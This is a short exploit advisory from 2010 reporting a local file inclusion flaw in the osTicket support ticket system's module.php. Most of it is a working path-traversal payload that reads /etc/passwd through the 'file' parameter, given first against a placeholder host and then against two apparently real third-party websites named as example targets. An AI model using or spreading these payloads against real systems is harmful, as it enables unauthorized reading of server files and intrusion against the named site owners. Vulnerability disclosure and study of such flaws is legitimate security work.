[~]----------------------------------------------------------------------------------------------------------------------
[~] osTicket - Open Source Support Ticket System (module=osTicket&file=) Local File Inclusion  
[~]
[~] http://osticket.com
[~]  
[~] 
[~] ----------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 8.11.2010
[~]
[~]
[~] http://security-sh3ll.blogspot.com | http://twitter.com/securityshell
[~]
[~] ----------------------------------------------------------------------------------------
[~] Poc :-
[~]
[~] http://site.com/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd
[~]  
[~] Ex :-
[~]
[~] http://daemag.com/Support/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd 
[~] 
[~] http://hostalvirtual.com/live/module.php?module=osTicket&file=../../../../../../../../../../../../../../etc/passwd
[~]-----------------------------------------------------------------------------------------------------------------------